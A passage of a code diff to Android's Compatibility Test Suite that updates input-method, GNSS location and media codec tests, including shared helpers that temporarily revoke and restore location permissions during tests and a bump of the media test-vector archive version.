+ return mFullConfiguration.windowConfiguration.getAppBounds();
+ }
+
@Override
public Rect getBounds() {
if (mBounds == null) {
diff --git a/tests/inputmethod/AndroidTest.xml b/tests/inputmethod/AndroidTest.xml
index dfead81..23e26e4 100644
--- a/tests/inputmethod/AndroidTest.xml
+++ b/tests/inputmethod/AndroidTest.xml
@@ -18,6 +18,7 @@
<configuration description="Config for CTS InputMethod test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="inputmethod" />
+ <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
index 2aa20c1..30b4172 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
@@ -49,12 +49,15 @@
import androidx.annotation.GuardedBy;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
+import androidx.annotation.RequiresPermission;
import com.android.compatibility.common.util.PollingCheck;
import org.junit.AssumptionViolatedException;
import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicBoolean;
@@ -78,6 +81,8 @@
private final HandlerThread mHandlerThread = new HandlerThread("EventReceiver");
+ private final List<Intent> mStickyBroadcasts = new ArrayList<>();
+
private static final class EventStore {
private static final int INITIAL_ARRAY_SIZE = 32;
@@ -296,6 +301,9 @@
* selected next is up to the system.
*/
public void close() throws Exception {
+ mStickyBroadcasts.forEach(mContext::removeStickyBroadcast);
+ mStickyBroadcasts.clear();
+
executeShellCommand(mUiAutomation, "ime reset");
PollingCheck.check("Make sure that MockIME becomes unavailable", TIMEOUT, () ->
@@ -322,14 +330,43 @@
private ImeCommand callCommandInternal(@NonNull String commandName, @NonNull Bundle params) {
final ImeCommand command = new ImeCommand(
commandName, SystemClock.elapsedRealtimeNanos(), true, params);
+ final Intent intent = createCommandIntent(command);
+ mContext.sendBroadcast(intent);
+ return command;
+ }
+
+ /**
+ * A variant of {@link #callCommandInternal} that uses
+ * {@link Context#sendStickyBroadcast(android.content.Intent) sendStickyBroadcast} to ensure
+ * that the command is received even if the IME is not running at the time of sending
+ * (e.g. when {@code config_preventImeStartupUnlessTextEditor} is set).
+ * <p>
+ * The caller requires the {@link android.Manifest.permission#BROADCAST_STICKY BROADCAST_STICKY}
+ * permission.
+ */
+ @NonNull
+ @RequiresPermission(android.Manifest.permission.BROADCAST_STICKY)
+ private ImeCommand callCommandInternalSticky(
+ @NonNull String commandName,
+ @NonNull Bundle params) {
+ final ImeCommand command = new ImeCommand(
+ commandName, SystemClock.elapsedRealtimeNanos(), true, params);
+ final Intent intent = createCommandIntent(command);
+ mStickyBroadcasts.add(intent);
+ mContext.sendStickyBroadcast(intent);
+ return command;
+ }
+
+ @NonNull
+ private Intent createCommandIntent(@NonNull ImeCommand command) {
final Intent intent = new Intent();
intent.setPackage(MockIme.getComponentName().getPackageName());
intent.setAction(MockIme.getCommandActionName(mImeEventActionName));
intent.putExtras(command.toBundle());
- mContext.sendBroadcast(intent);
- return command;
+ return intent;
}
+
/**
* Lets {@link MockIme} to call
* {@link android.inputmethodservice.InputMethodService#getCurrentInputConnection()} and
@@ -1146,8 +1183,9 @@
}
@NonNull
+ @RequiresPermission(android.Manifest.permission.BROADCAST_STICKY)
public ImeCommand callSetInlineSuggestionsExtras(@NonNull Bundle bundle) {
- return callCommandInternal("setInlineSuggestionsExtras", bundle);
+ return callCommandInternalSticky("setInlineSuggestionsExtras", bundle);
}
@NonNull
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
index ccd8659..8855dee 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
@@ -32,7 +32,7 @@
*
* <p>See Bug 174534092 about why we ended up having this.</p>
*/
- private static final int TOLERANCE = 4;
+ private static final int TOLERANCE = 6;
/**
* A utility class that represents A8R8G8B bitmap as an integer array.
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodInfoTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodInfoTest.java
index 8f5ff6f..6145da2 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodInfoTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodInfoTest.java
@@ -34,8 +34,6 @@
import android.content.pm.ResolveInfo;
import android.content.pm.ServiceInfo;
import android.os.Parcel;
-import android.os.ParcelFileDescriptor;
-import android.text.TextUtils;
import android.util.Printer;
import android.view.inputmethod.InputMethod;
import android.view.inputmethod.InputMethodInfo;
@@ -47,15 +45,14 @@
import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.PropertyUtil;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.xmlpull.v1.XmlPullParserException;
-import java.io.BufferedReader;
import java.io.IOException;
-import java.io.InputStreamReader;
-import java.nio.charset.StandardCharsets;
import java.util.List;
@SmallTest
@@ -240,8 +237,8 @@
return;
}
- if (!TextUtils.equals("native", getFbeMode())) {
- // Skip the test unless the device is in native FBE mode.
+ // If the device doesn't use FBE, skip the test.
+ if (!PropertyUtil.propertyEquals("ro.crypto.type", "file")) {
return;
}
@@ -264,23 +261,6 @@
assertTrue(hasEncryptionAwareInputMethod);
}
- private String getFbeMode() {
- try (ParcelFileDescriptor.AutoCloseInputStream in =
- new ParcelFileDescriptor.AutoCloseInputStream(InstrumentationRegistry
- .getInstrumentation()
- .getUiAutomation()
- .executeShellCommand("sm get-fbe-mode"))) {
- try (BufferedReader br =
- new BufferedReader(new InputStreamReader(in, StandardCharsets.UTF_8))) {
- // Assume that the output of "sm get-fbe-mode" is always one-line.
- final String line = br.readLine();
- return line != null ? line.trim() : "";
- }
- } catch (IOException e) {
- return "";
- }
- }
-
@Test
public void testShowInInputMethodPicker() {
final List<InputMethodInfo> imis = mImManager.getInputMethodList();
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/util/EndToEndImeTestBase.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/EndToEndImeTestBase.java
index f2a64c4..a686465 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/util/EndToEndImeTestBase.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/util/EndToEndImeTestBase.java
@@ -20,13 +20,16 @@
import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeTrue;
+import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
+import android.content.res.Resources;
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AppModeInstant;
import androidx.test.platform.app.InstrumentationRegistry;
+import org.junit.After;
import org.junit.Before;
import org.junit.Rule;
import org.junit.rules.TestName;
@@ -38,6 +41,34 @@
public TestName mTestName = new TestName();
/**
+ * Enters touch mode when instrumenting.
+ *
+ * Making the view focus state in instrumentation process more reliable in case when
+ * {@link android.view.View#clearFocus()} invoked but system may reFocus again when the view
+ * was not in touch mode. (i.e {@link android.view.View#isInTouchMode()} is {@code false}).
+ */
+ @Before
+ public final void enterTouchMode() {
+ InstrumentationRegistry.getInstrumentation().setInTouchMode(true);
+ }
+
+ /**
+ * Restore to the default touch mode state after the test.
+ */
+ @After
+ public final void restoreTouchMode() {
+ final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ try {
+ final boolean defaultInTouchMode = context.getResources().getBoolean(
+ Resources.getSystem().getIdentifier(
+ "config_defaultInTouchMode", "bool", "android"));
+ InstrumentationRegistry.getInstrumentation().setInTouchMode(defaultInTouchMode);
+ } catch (Resources.NotFoundException e) {
+ // Should not happen.
+ }
+ }
+
+ /**
* Our own safeguard in case "atest" command is regressed and start running tests with
* {@link AppModeInstant} even when {@code --instant} option is not specified.
*
diff --git a/tests/libcore/luni/Android.bp b/tests/libcore/luni/Android.bp
index 78ea004..a30fce8 100644
--- a/tests/libcore/luni/Android.bp
+++ b/tests/libcore/luni/Android.bp
@@ -32,8 +32,6 @@
"libcore-expectations-virtualdeviceknownfailures-jar",
"mockito-target-minus-junit4",
- "time_zone_distro-tests",
- "time_zone_distro_installer-tests",
],
dex_preopt: {
enabled: false,
diff --git a/tests/location/common/src/android/location/cts/common/TestUtils.java b/tests/location/common/src/android/location/cts/common/TestUtils.java
index 75c2b27..0caf3eae 100644
--- a/tests/location/common/src/android/location/cts/common/TestUtils.java
+++ b/tests/location/common/src/android/location/cts/common/TestUtils.java
@@ -16,14 +16,17 @@
package android.location.cts.common;
+import android.app.UiAutomation;
import android.content.Context;
+import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.util.Log;
-
+import androidx.test.InstrumentationRegistry;
import com.android.compatibility.common.util.SystemUtil;
-
+import java.util.ArrayList;
+import java.util.List;
import java.util.concurrent.Callable;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
@@ -157,4 +160,62 @@
Thread.sleep(DATA_CONNECTION_CHECK_INTERVAL_MS);
}
}
+
+ public static List<String> getPackagesWithPermissions(String permission) {
+ UiAutomation uiAnimation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ Context context = InstrumentationRegistry.getTargetContext();
+ PackageManager pm = context.getPackageManager();
+
+ ArrayList<String> packagesWithPermission = new ArrayList<>();
+ List<ApplicationInfo> packages = pm.getInstalledApplications(/*flags=*/0);
+
+ for (ApplicationInfo applicationInfo : packages) {
+ String packageName = applicationInfo.packageName;
+ if (packageName.equals(context.getPackageName())) {
+ // Don't include this test package.
+ continue;
+ }
+
+ if (pm.checkPermission(permission, packageName) == PackageManager.PERMISSION_GRANTED) {
+ final int flags;
+ uiAnimation.adoptShellPermissionIdentity(
+ "android.permission.GET_RUNTIME_PERMISSIONS");
+ try {
+ flags = pm.getPermissionFlags(
+ permission, packageName, android.os.Process.myUserHandle());
+ } finally {
+ uiAnimation.dropShellPermissionIdentity();
+ }
+
+ final boolean fixed =
+ (flags
+ & (PackageManager.FLAG_PERMISSION_USER_FIXED
+ | PackageManager.FLAG_PERMISSION_POLICY_FIXED
+ | PackageManager.FLAG_PERMISSION_SYSTEM_FIXED))
+ != 0;
+ if (!fixed) {
+ packagesWithPermission.add(packageName);
+ }
+ }
+ }
+ return packagesWithPermission;
+ }
+
+ public static List<String> revokePermissions(String permission) {
+ UiAutomation uiAnimation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ List<String> packages = getPackagesWithPermissions(permission);
+ for (String packageWithPermission : packages) {
+ Log.i(TAG, "Revoking permissions from: " + packageWithPermission);
+ uiAnimation.revokeRuntimePermission(packageWithPermission, permission);
+ }
+ return packages;
+ }
+
+ public static void grantLocationPermissions(String permission, List<String> packages) {
+ UiAutomation uiAnimation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ for (String packageToGivePermission : packages) {
+ Log.i(TAG, "Granting permissions (back) to: " + packageToGivePermission);
+ uiAnimation.grantRuntimePermission(packageToGivePermission, permission);
+ }
+ }
}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssAntennaInfoTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssAntennaInfoTest.java
index 2fe0ccf..b3d3141 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssAntennaInfoTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssAntennaInfoTest.java
@@ -1,5 +1,8 @@
package android.location.cts.gnss;
+import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
+import static android.Manifest.permission.ACCESS_FINE_LOCATION;
+
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
@@ -11,7 +14,9 @@
import android.location.LocationManager;
import android.location.cts.common.TestLocationManager;
import android.location.cts.common.TestMeasurementUtil;
+import android.location.cts.common.TestUtils;
import android.os.Looper;
+import android.platform.test.annotations.AppModeFull;
import androidx.test.core.app.ApplicationProvider;
@@ -44,6 +49,7 @@
* GnssStatus.
*/
@Test
+ @AppModeFull(reason = "Instant apps cannot access package manager to scan for permissions")
public void testGnssAntennaInfoValues() throws Exception {
// Checks if GPS hardware feature is present, skips test (pass) if not
assumeTrue(TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG));
@@ -52,22 +58,33 @@
assumeTrue(
mTestLocationManager.getLocationManager().getGnssCapabilities().hasAntennaInfo());
- // Registers GnssStatus Listener
- TestGnssStatusCallback testGnssStatusCallback =
- new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
- checkGnssChange(testGnssStatusCallback);
+ // Revoke location permissions from packages before running GnssStatusTest stops
+ // active location requests, allowing this test to receive all necessary Gnss callbacks.
+ List<String> courseLocationPackages = TestUtils.revokePermissions(ACCESS_COARSE_LOCATION);
+ List<String> fineLocationPackages = TestUtils.revokePermissions(ACCESS_FINE_LOCATION);
- float[] carrierFrequencies = testGnssStatusCallback.getCarrierFrequencies();
- List<GnssAntennaInfo> antennaInfos =
- mTestLocationManager.getLocationManager().getGnssAntennaInfos();
+ try {
+ // Registers GnssStatus Listener
+ TestGnssStatusCallback testGnssStatusCallback =
+ new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
+ checkGnssChange(testGnssStatusCallback);
- assertThat(antennaInfos).isNotNull();
- for (GnssAntennaInfo antennaInfo : antennaInfos) {
- double antennaInfoFreqHz = antennaInfo.getCarrierFrequencyMHz() * HZ_PER_MHZ;
- assertWithMessage(
- "Carrier frequency in GnssAntennaInfo must be found in GnssStatus.").that(
- carrierFrequencies).usingTolerance(CARRIER_FREQ_TOLERANCE_HZ).contains(
- antennaInfoFreqHz);
+ float[] carrierFrequencies = testGnssStatusCallback.getCarrierFrequencies();
+ List<GnssAntennaInfo> antennaInfos =
+ mTestLocationManager.getLocationManager().getGnssAntennaInfos();
+
+ assertThat(antennaInfos).isNotNull();
+ for (GnssAntennaInfo antennaInfo : antennaInfos) {
+ double antennaInfoFreqHz = antennaInfo.getCarrierFrequencyMHz() * HZ_PER_MHZ;
+ assertWithMessage(
+ "Carrier frequency in GnssAntennaInfo must be found in GnssStatus.").that(
+ carrierFrequencies).usingTolerance(CARRIER_FREQ_TOLERANCE_HZ).contains(
+ antennaInfoFreqHz);
+ }
+ } finally {
+ // For each location package, re-grant the permission
+ TestUtils.grantLocationPermissions(ACCESS_COARSE_LOCATION, courseLocationPackages);
+ TestUtils.grantLocationPermissions(ACCESS_FINE_LOCATION, fineLocationPackages);
}
}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
index f45e283..dfaf081 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
@@ -16,6 +16,9 @@
package android.location.cts.gnss;
+import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
+import static android.Manifest.permission.ACCESS_FINE_LOCATION;
+
import android.location.Location;
import android.location.LocationManager;
import android.location.cts.common.GnssTestCase;
@@ -24,6 +27,8 @@
import android.location.cts.common.TestLocationListener;
import android.location.cts.common.TestLocationManager;
import android.location.cts.common.TestMeasurementUtil;
+import android.location.cts.common.TestUtils;
+import android.platform.test.annotations.AppModeFull;
import android.util.Log;
import junit.framework.Assert;
@@ -89,13 +94,25 @@
/**
* Tests the location update intervals are within expected thresholds.
*/
+ @AppModeFull(reason = "Instant apps cannot access package manager to scan for permissions")
public void testLocationUpdatesAtVariousIntervals() throws Exception {
if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
return;
}
- for (int fixIntervalMillis : FIX_INTERVALS_MILLIS) {
- testLocationUpdatesAtInterval(fixIntervalMillis);
+ // Revoke location permissions from packages before running GnssStatusTest stops
+ // active location requests, allowing this test to receive all necessary Gnss callbacks.
+ List<String> courseLocationPackages = TestUtils.revokePermissions(ACCESS_COARSE_LOCATION);
+ List<String> fineLocationPackages = TestUtils.revokePermissions(ACCESS_FINE_LOCATION);
+
+ try {
+ for (int fixIntervalMillis : FIX_INTERVALS_MILLIS) {
+ testLocationUpdatesAtInterval(fixIntervalMillis);
+ }
+ } finally {
+ // For each location package, re-grant the permission
+ TestUtils.grantLocationPermissions(ACCESS_COARSE_LOCATION, courseLocationPackages);
+ TestUtils.grantLocationPermissions(ACCESS_FINE_LOCATION, fineLocationPackages);
}
}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
index c872070..c23b272 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
@@ -4,23 +4,17 @@
import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
import static android.Manifest.permission.ACCESS_FINE_LOCATION;
-import android.app.UiAutomation;
import android.content.Context;
-import android.content.pm.ApplicationInfo;
-import android.content.pm.PackageInfo;
-import android.content.pm.PackageManager;
import android.location.GnssStatus;
import android.location.cts.common.GnssTestCase;
import android.location.cts.common.SoftAssert;
import android.location.cts.common.TestLocationListener;
import android.location.cts.common.TestLocationManager;
import android.location.cts.common.TestMeasurementUtil;
+import android.location.cts.common.TestUtils;
import android.platform.test.annotations.AppModeFull;
import android.util.Log;
-import androidx.test.InstrumentationRegistry;
-
-import java.util.ArrayList;
import java.util.List;
public class GnssStatusTest extends GnssTestCase {
@@ -28,13 +22,11 @@
private static final String TAG = "GnssStatusTest";
private static final int LOCATION_TO_COLLECT_COUNT = 1;
private static final int STATUS_TO_COLLECT_COUNT = 3;
- private UiAutomation mUiAutomation;
@Override
protected void setUp() throws Exception {
super.setUp();
mTestLocationManager = new TestLocationManager(getContext());
- mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
}
/**
@@ -49,8 +41,8 @@
// Revoke location permissions from packages before running GnssStatusTest stops
// active location requests, allowing this test to receive all necessary Gnss callbacks.
- List<String> courseLocationPackages = revokePermissions(ACCESS_COARSE_LOCATION);
- List<String> fineLocationPackages = revokePermissions(ACCESS_FINE_LOCATION);
+ List<String> courseLocationPackages = TestUtils.revokePermissions(ACCESS_COARSE_LOCATION);
+ List<String> fineLocationPackages = TestUtils.revokePermissions(ACCESS_FINE_LOCATION);
try {
// Register Gps Status Listener.
@@ -59,8 +51,8 @@
checkGnssChange(testGnssStatusCallback);
} finally {
// For each location package, re-grant the permission
- grantLocationPermissions(ACCESS_COARSE_LOCATION, courseLocationPackages);
- grantLocationPermissions(ACCESS_FINE_LOCATION, fineLocationPackages);
+ TestUtils.grantLocationPermissions(ACCESS_COARSE_LOCATION, courseLocationPackages);
+ TestUtils.grantLocationPermissions(ACCESS_FINE_LOCATION, fineLocationPackages);
}
}
@@ -90,18 +82,31 @@
/**
* Tests values of {@link GnssStatus}.
*/
+ @AppModeFull(reason = "Instant apps cannot access package manager to scan for permissions")
public void testGnssStatusValues() throws InterruptedException {
// Checks if GPS hardware feature is present, skips test (pass) if not
if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
return;
}
- SoftAssert softAssert = new SoftAssert(TAG);
- // Register Gps Status Listener.
- TestGnssStatusCallback testGnssStatusCallback =
- new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
- checkGnssChange(testGnssStatusCallback);
- validateGnssStatus(testGnssStatusCallback.getGnssStatus(), softAssert);
- softAssert.assertAll();
+
+ // Revoke location permissions from packages before running GnssStatusTest stops
+ // active location requests, allowing this test to receive all necessary Gnss callbacks.
+ List<String> courseLocationPackages = TestUtils.revokePermissions(ACCESS_COARSE_LOCATION);
+ List<String> fineLocationPackages = TestUtils.revokePermissions(ACCESS_FINE_LOCATION);
+
+ try {
+ SoftAssert softAssert = new SoftAssert(TAG);
+ // Register Gps Status Listener.
+ TestGnssStatusCallback testGnssStatusCallback =
+ new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
+ checkGnssChange(testGnssStatusCallback);
+ validateGnssStatus(testGnssStatusCallback.getGnssStatus(), softAssert);
+ softAssert.assertAll();
+ } finally {
+ // For each location package, re-grant the permission
+ TestUtils.grantLocationPermissions(ACCESS_COARSE_LOCATION, courseLocationPackages);
+ TestUtils.grantLocationPermissions(ACCESS_FINE_LOCATION, fineLocationPackages);
+ }
}
/**
@@ -155,55 +160,4 @@
Log.i(TAG, "usedInFix: " + status.usedInFix(i));
}
}
-
- private List<String> getPackagesWithPermissions(String permission) {
- Context context = InstrumentationRegistry.getTargetContext();
- PackageManager pm = context.getPackageManager();
-
- ArrayList<String> packagesWithPermission = new ArrayList<>();
- List<ApplicationInfo> packages = pm.getInstalledApplications(/*flags=*/ 0);
-
- for (ApplicationInfo applicationInfo : packages) {
- String packageName = applicationInfo.packageName;
- if (packageName.equals(context.getPackageName())) {
- // Don't include this test package.
- continue;
- }
-
- if (pm.checkPermission(permission, packageName) == PackageManager.PERMISSION_GRANTED) {
- final int flags;
- mUiAutomation.adoptShellPermissionIdentity("android.permission.GET_RUNTIME_PERMISSIONS");
- try {
- flags = pm.getPermissionFlags(permission, packageName,
- android.os.Process.myUserHandle());
- } finally {
- mUiAutomation.dropShellPermissionIdentity();
- }
-
- final boolean fixed = (flags & (PackageManager.FLAG_PERMISSION_USER_FIXED
- | PackageManager.FLAG_PERMISSION_POLICY_FIXED
- | PackageManager.FLAG_PERMISSION_SYSTEM_FIXED)) != 0;
- if (!fixed) {
- packagesWithPermission.add(packageName);
- }
- }
- }
- return packagesWithPermission;
- }
-
- private List<String> revokePermissions(String permission) {
- List<String> packages = getPackagesWithPermissions(permission);
- for (String packageWithPermission : packages) {
- Log.i(TAG, "Revoking permissions from: " + packageWithPermission);
- mUiAutomation.revokeRuntimePermission(packageWithPermission, permission);
- }
- return packages;
- }
-
- private void grantLocationPermissions(String permission, List<String> packages) {
- for (String packageToGivePermission : packages) {
- Log.i(TAG, "Granting permissions (back) to: " + packageToGivePermission);
- mUiAutomation.grantRuntimePermission(packageToGivePermission, permission);
- }
- }
}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java
index 2c6be79..c3532f2 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java
@@ -4,6 +4,7 @@
import android.location.cts.common.SoftAssert;
import android.location.cts.common.TestLocationListener;
import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
import android.location.cts.common.TestUtils;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
@@ -54,6 +55,11 @@
return;
}
+ // Network connection isn't required for automotive devices.
+ if (TestMeasurementUtil.isAutomotiveDevice(getContext())) {
+ return;
+ }
+
ensureNetworkStatus();
if (hasCellularData()) {
checkTtffColdWithWifiOn(TTFF_WITH_WIFI_CELLUAR_COLD_TH_SECS);
diff --git a/tests/media/AndroidTest.xml b/tests/media/AndroidTest.xml
index 410b5da..588ddf8 100644
--- a/tests/media/AndroidTest.xml
+++ b/tests/media/AndroidTest.xml
@@ -26,7 +26,7 @@
</target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
- <option name="media-folder-name" value="CtsMediaV2TestCases-2.2" />
+ <option name="media-folder-name" value="CtsMediaV2TestCases-2.4" />
<option name="dynamic-config-module" value="CtsMediaV2TestCases" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/media/DynamicConfig.xml b/tests/media/DynamicConfig.xml
index 467b958..72f13e0 100644
--- a/tests/media/DynamicConfig.xml
+++ b/tests/media/DynamicConfig.xml
@@ -1,5 +1,5 @@
<dynamicConfig>
<entry key="media_files_url">
- <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-2.2.zip</value>
+ <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-2.4.zip</value>
</entry>
</dynamicConfig>
diff --git a/tests/media/README.md b/tests/media/README.md
index adbc1c4..525379c 100644
--- a/tests/media/README.md
+++ b/tests/media/README.md
@@ -3,7 +3,7 @@
The aim of these tests is not solely to verify the CDD requirements but also to test components, their plugins and their interactions with media framework.
-The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-2.2.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory.
+The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-2.4.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory.
All Big Buck Bunny(bbb) test vectors are of 8-bit format. They are downloaded from [link](https://peach.blender.org/download/) and resampled according to the test requirements.
All Cosmos Laundromat(cosmat) test vectors are of 10-bit format. They are downloaded from [link](https://media.xiph.org/) and resampled according to the test requirements.
diff --git a/tests/media/copy_media.sh b/tests/media/copy_media.sh
index 95ff70e..d7e5d88 100755
--- a/tests/media/copy_media.sh
+++ b/tests/media/copy_media.sh
@@ -17,7 +17,7 @@
## script to install mediav2 test files manually
adbOptions=" "
-resLabel=CtsMediaV2TestCases-2.2
+resLabel=CtsMediaV2TestCases-2.4
srcDir="/tmp/$resLabel"
tgtDir="/sdcard/test"
usage="Usage: $0 [-h] [-s serial]"
diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
index ae7782c..e8243f8 100644
--- a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
@@ -99,9 +99,13 @@
public void setUp() throws IOException, InterruptedException {
MediaFormat format = setUpSource(mTestFile);
mExtractor.release();
- ArrayList<MediaFormat> formatList = new ArrayList<>();
- formatList.add(format);
- checkFormatSupport(mCodecName, mMime, false, formatList, null, mSupportRequirements);
+ if (IS_Q) {
+ Log.i(LOG_TAG, "Android 10: skip checkFormatSupport() for format " + format);
+ } else {
+ ArrayList<MediaFormat> formatList = new ArrayList<>();
+ formatList.add(format);
+ checkFormatSupport(mCodecName, mMime, false, formatList, null, mSupportRequirements);
+ }
mActivityRule.getScenario().onActivity(activity -> mActivity = activity);
setUpSurface(mActivity);
}
diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderTest.java
index 7a39cc7..64e9822 100644
--- a/tests/media/src/android/mediav2/cts/CodecDecoderTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecDecoderTest.java
@@ -44,9 +44,13 @@
import java.util.Arrays;
import java.util.Collection;
import java.util.List;
+import java.util.stream.IntStream;
+import static android.media.MediaCodecInfo.CodecCapabilities.*;
import static android.mediav2.cts.CodecTestBase.SupportClass.*;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
@@ -931,4 +935,49 @@
}
mExtractor.release();
}
+
+ /**
+ * Test if decoder outputs 8-bit output for 8-bit as well as 10-bit content by default.
+ * The test runs for 1 frame and only in async mode. We remove the key "KEY_COLOR_FORMAT"
+ * from the input format to the decoder and validate that we get the default 8-bit output
+ * color format.
+ */
+ @SmallTest
+ @Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
+ public void testDefaultOutputColorFormat() throws IOException, InterruptedException {
+ Assume.assumeTrue("Test needs Android 13", IS_AT_LEAST_T);
+ Assume.assumeTrue("Test is applicable for video decoders", mMime.startsWith("video/"));
+
+ MediaFormat format = setUpSource(mTestFile);
+ format.removeKey(MediaFormat.KEY_COLOR_FORMAT);
+
+ mOutputBuff = new OutputManager();
+ mCodec = MediaCodec.createByCodecName(mCodecName);
+ mExtractor.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
+ configureCodec(format, true, true, false);
+ mCodec.start();
+ doWork(1);
+ queueEOS();
+ waitForAllOutputs();
+ MediaFormat outputFormat = mCodec.getOutputFormat();
+ mCodec.stop();
+ mCodec.reset();
+ mCodec.release();
+
+ String log = String.format("decoder: %s, input file: %s, mode:: async", mCodecName,
+ mTestFile);
+ assertFalse(log + " unexpected error", mAsyncHandle.hasSeenError());
+ assertNotEquals(log + "no input sent", 0, mInputCount);
+ assertNotEquals(log + "output received", 0, mOutputCount);
+
+ assertTrue(log + "output format from decoder does not contain KEY_COLOR_FORMAT",
+ outputFormat.containsKey(MediaFormat.KEY_COLOR_FORMAT));
+ // 8-bit color formats
+ int[] defaultOutputColorFormatList =
+ new int[]{COLOR_FormatYUV420Flexible, COLOR_FormatYUV420Planar,
+ COLOR_FormatYUV420PackedPlanar, COLOR_FormatYUV420SemiPlanar};
+ int outputColorFormat = outputFormat.getInteger(MediaFormat.KEY_COLOR_FORMAT);
+ assertTrue(log + "unexpected output color format: " + outputColorFormat,
